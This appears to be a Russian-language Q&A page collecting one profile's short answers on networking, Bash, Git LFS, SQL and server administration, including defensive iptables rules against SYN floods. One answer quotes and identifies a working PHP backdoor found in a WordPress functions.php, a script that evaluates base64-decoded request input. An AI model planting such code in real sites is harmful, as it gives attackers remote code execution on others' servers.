• Есть ли реальная необходимость использовать Git LFS?

    @rPman
    Мое мнение - абсолютно бесполезен (из-за особенностей реализации и избытка функционала).

    Главная фича git и других систем контроля изменений - это контроль за изменениями, возможность быстро откатиться к нужной версии, мержить версии, переносить изменения из одной ветки в другую и т.п. и все заточено на работу с текстом. большие файлы - это про бинарные или не редактируемые данные. Даже sql дампы таким образом адекватно не будут обработаны (пример - добавлена колонка)

    Ни один адекватный юзкейс не подразумевает все это при использовании именно больших файлов, за исключением может быть только автоматического приведения контента к нужной версии (и это достигается гораздо более легковестными инструментами, например тот же rsync умеет собирать бакап с использованием симлинков от предыдущего бакапа, т.е. в любой момент тебе доступна любая сохраненная версия, с оговорками на чтение, но тут вступают снапшоты файловой системы и все становится очень просто)

    git-lfs работает очень не эффективно, банальный git clone репозитарием из 20-гигабайтовых файлов требует сравнимый объем оперативной памяти, потому что там на любой файл идет diff/patch, что бессмысленно для бинарных файлов в подавляющем большинстве случаев.
    Ответ написан
    Комментировать
  • Двумерный массив Bash?

    @xibir
    Может подойдёт ассоциативный массив
    declare -A array
    array[str1]=value1
    array[str2]=value2
    Ответ написан
    Комментировать
  • Двумерный массив Bash?

    #!/bin/bash
    
    array=(a b c)
    array2=(1 2 3)
    
    for (( i=0; i<${#array[@]}; i++ ))
    do
            echo "${array[$i]}${array2[$i]}"
    done
    Ответ написан
    Комментировать
  • Как лучше организовать отказоустойчивость linux сервера двумя свичами?

    @Strabbo
    В вашем случае, я бы остановился на active-backup от STP. С quagga тоже можно сделать, но там мороки много если на сервере много IP будет, то придется часто переделывать конфиг на квагге, можно и редистрибюцию настроить, но если будет кейс где не надо редистрибьютить все IP, а надо только конкретные и тд. Или на одном физ сервере будут много виртуалок с другими подсетями или же часто будут меняться или добавляться, то придется часто возиться с квагой. Если траффик не больше 1Г то лучше сделать active-backup. В идале надо бы поставить свичи, которые умеют работать в стеке и от стека уже тянуть агрегированые каналы до сервера.
    Ответ написан
    2 комментария
  • Как связать роутеры в опорную сеть?

    @Strabbo
    Если есть возможность докупить карты, то я бы докупил и связал бы их со свичами (который выполняют роль HSRP), если у карточек по 2 порта то с двух роутеров по 2 линка на каждый свич, можно сделать из ник L3 etherchannel, а с третьего роутера по одному линку на каждый свич и тоже L3 p2p. Если же нету возможности докупить карточки и есть свободные порты на свичах, то можно сделать тоже самое, только поднять L2 etherchannel-ы и перенести аплинки других сейтей с роутера на свичи и на роутере на сабинтерфейсах поднять роутинг с провайдерами BGP
    Ответ написан
    2 комментария
  • Cамоподписанный ssl extended validation сертификат внутри корпоративной сети?

    CityCat4
    @CityCat4 Куратор тега Цифровые сертификаты
    Внимание! Изменился адрес почты!
    Есть вероятность, что никак. Если посмотреть на сертификат, имеющий EV (например Банка Тинькофф - EV есть), то я там не нашел никаких OID, указывающих на EV. Скорее всего, EV или не EV - решает CA. Браузер однозначно к нему обращается проверить статус по OCSP, как минимум.
    Ответ написан
    Комментировать
  • Как разместить большую MySQL-базу на нескольких серверах и как при этом будут работать индексы?

    Stalker_RED
    @Stalker_RED
    Как и сказал Роман Мирр, все очень сильно зависит от подробностей.

    Вообще читайте про шардинг. Возможно вас устроит один из общеизвестных рецептов, и ничего не придется особо допиливать.
    Ответ написан
    Комментировать
  • Какой самый простой способ собирать данные из двух полей в одно?

    @pool
    <form onsubmit="s='';i=0;c=this.elements;for(k in c){if(c[k].type=='radio'&&c[k].checked==true)s+='&'+c[k].name+'='+c[k].value;if(c[k].type=='textarea')i=k;}if(s.length)c[i].value=s.substr(1);">
    Ответ написан
    Комментировать
  • Можно ли расшарить календарь в exchange 2010 для всех пользователей сразу?

    @pool
    -User default -AccessRights owner
    Ответ написан
    Комментировать
  • Как проверить на наличие разрывов нумерации в БД (SQL)?

    @pool
    второй ответ:
    declare @i int
    set @i=1
    update [tbl] set range_id=@i,@i=@i+case when isnull([tbl].number-(select max(t.number) from [tbl] as t where t.number<[tbl].number),1)>1 then 1 else 0 end where number in (select top 100000 number from [tbl] order by number)
    select * from [tbl]

    или без сортировки
    update [tbl] set range_id=@i,@i=@i+case when isnull([tbl].number-(select max(t.number) from [tbl] as t where t.number<[tbl].number),1)>1 then 1 else 0 end
    Ответ написан
    Комментировать
  • Что означает этот кусок кода в functions.php?

    @pool
    Скачивается код с одного из 3 вредоносных сайтов и сохраняется в файл wp-tmp.php:
    <?php
    $p = $_REQUEST["m"];
    eval(base64_decode($p));
    ?>

    это бэкдор
    Ответ написан
    1 комментарий
  • Какие коммутаторы вешать на уровень доступа в среднем офисе?

    ferrum90
    @ferrum90
    Network support
    Прежде чем решать "что ставить на доступ?" вам нужно грамотно продумать СКС. Далее правильно структурировать L1, L2, L3 топологию, определить сервисы, трафик которых будет "бегать", и из этого принимать решения.

    Если помещения рядом, то тяните все провода с кабинетов в один кросс(ящик/шкаф/помещение) и железки размещаете там же.
    Если от крайней розетки(хоста) до кросса более ≈80м, то сегментируете СКС и ставите дополнительный кросс(ящик/шкаф) и коммутатор

    Железки покупаются исходя из того, что нужно на них накрутить. Если функционал и бегающий трафик не высоки, то ориентируетесь на удобство администрирования и цену. Любой управляемый L2 коммутатор вам подойдет. Стекирование на доступе очень специфичное решение, стоит дороже, feedback'a меньше. Делайте LACP х2/х4 на транках.
    Похуже: Dlink, Qtech, Telesis
    Получше: Cisco, Juniper, HP, Huawey

    P.S.Абсолютно не согласен с пред.комментариями о том, что Cisco плохо, CLI это legacy, а вебморда наше все.
    Ответ написан
    2 комментария
  • В чем может быть проблема с работой части протоколов?

    ferrum90
    @ferrum90
    Network support
    Видимо у вас проблема с MTU. На туннельных интерфейсах:
    ip mtu 1400
    ip tcp adjust-mss 1360
    Значение подберете согласно того, какой MTU пропускает провайдер от точки до точки
    Ответ написан
    3 комментария
  • Есть ли аналог механизма OSPF DR/BDR в EIGRP?

    ferrum90
    @ferrum90
    Network support
    OSPF это link state протокол и каждый маршрутизатор в зоне знает LSDB. А EIGRP это Distance Vector протокол. И маршрутизатор не знает за каким роутером какая сеть. Он знает, что за одним из соседей лучший маршрут в эту сеть
    Ответ написан
    Комментировать
  • Какие различия коммутации в SOHO роутере и свиче-мыльнице?

    MaxDukov
    @MaxDukov
    впишусь в проект как SRE/DevOps.
    в SOHO роутере обычно стоит такой-же ASIC на 5 портов.
    к примеру мой роутер4300
    ETH chip1: Atheros AR9344
    Switch: Atheros AR8327N
    Ответ написан
    Комментировать
  • На каких моделях маршрутизаторов CISCO можно поднять PPTP-сервер с локальной авторизацией?

    neopug
    @neopug
    Берите лучше решение, которые для этого предназначены, а именно - Cisco asa 5505 (на ebay можно за $100-$150 взять). Поднимите не pptp, а l2tp с ipsec. Будете трафик кошерно шифровать, через наты прокусываться. Родные anyconnect избавят от геморов с настройками на клиенте.
    MikroTik тоже не плохое решение. Если работали Cisco - берите ее. Хотите поэксперементировать - берите MikroTik, но лучше RB2011UiAS-2HnD-IN (951 серия - совсем soho).
    Ответ написан
    3 комментария
  • Exim не доставляет письма через esmtps. Почему?

    @swapp
    Если exim собран с openssl помогает отключение компрессии в нем, например так:
    openssl_options = +no_compression
    или сразу так с отключением SSLv3:
    openssl_options = +no_sslv3 +no_compression
    Ответ написан
    Комментировать
  • Нужен ли ещё один VPN ?

    @eevdokimov
    Поднять OSPF/BGP/EIGRP и забыть о таких вопросах :)
    Ответ написан
    Комментировать
  • Как в iptables блокировать все соединения SYN_RECV?

    DerBlogger
    @DerBlogger

    SYN_RECV - это состояние tcp-соединения во время three-handshake, означающее что сервер принял пакет с установленным флагом SYN (запрос на соединение), отправил SYN/SYN-ACK клиенту и ожидает от клиента пакет с флагом ACK.

    Поскольку ACK от клиента (в нашем случае, от атакующего хоста) не приходит, то соединение висит до момента, пока оно не будет убито по таймауту. Пока такое соединение существует в системе - оно потребляет ресурсы, что может создать прецедент для замедления работы системы.

    Таким образом, чтобы таких соединений не создавалось нужно отсеивать из них неугодные до того, как система выделит для них ресурсы. В Вашем случае, нужно фильтровать все входящие пакеты с установленным флагом SYN и дропать те из них, которые нас не устраивают. Легитимный пользователь не будет создавать по десятку соединений каждую секунду, а атакующий - будет.

    Соответственно, Вам нужно выяснить закономерность (периодичность, количество запросов и т. п.), позволяющую отличить легитимный хост от атакующего конкретно в Вашем случае, и в соответствии с ней создать правила.

    Если говорить обобщенно, то в Вашем случае, я думаю, проблему можно решить с помощью модуля recent в iptables. Уверен, его функционала Вам будет достаточно. Сможете обойтись несколькими правилами. Алгоритм следует применить примерно такой:

    1. Сначала разрешаете входящий tcp-трафик по соединениям в состояниях ESTABLISHED и RELATED (модуль conntrack).

    iptables -I INPUT 1 -p tcp -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT

    2. Открываете нужные порты, разрешая пропуск пакетов по этим правилам только в случаях если:
    - установлен флаг SYN (опция --syn);
    - соединение находится в состоянии NEW (модуль conntrack);
    - не превышен лимит соединений с одного ip-адреса (модуль recent).
    Примерно так:
    iptables -A INPUT -p tcp -m multiport --dports 80,443 --syn -m conntrack --ctstate NEW -m recent --name webtraffic --update --seconds 5 --hitcount 16 -j DROP
    
    iptables -A INPUT -p tcp -m multiport --dports 80,443 --syn -m conntrack --ctstate NEW -j ACCEPT


    Первое правило будет применено только к пакетам с установленным флагом SYN, которые приходят с отдельно взятого IP-адреса со скоростью более 16 пакетов в течение 5 секунд. Этим правилом будет отброшен флуд.

    Второе правило пропустит пакеты, не подошедшие под предыдущее правило (легитимный трафик).

    Разумеется, все нужно адаптировать под Ваши условия и нагрузку. Подробности по модулям смотрите в man iptables-extensions. Настоятельно рекомендую ознакомиться с описанием модуля recent для лучшего понимания.

    3. Дропаете весь остальной tcp-трафик либо отдельным правилом, либо политикой по-умолчанию.

    Также, дабы легитимных пользователей не откидывало при попытке подключения, Вы можете увеличить очередь SYN-пакетов в sysctl, в соответствии с имеющимися системными ресурсами. За это отвечает параметр net.ipv4.tcp_max_syn_backlog, и уменьшить таймаут для соединений в состоянии SYN_RECV, за что отвечает параметр net.netfilter.nf_conntrack_tcp_timeout_syn_recv.
    Рекомендуемые параметры индивидуальны для каждой системы. У меня используются такие:
    net.ipv4.tcp_max_syn_backlog = 262144
    net.netfilter.nf_conntrack_tcp_timeout_syn_recv = 20

    Ответ написан
    1 комментарий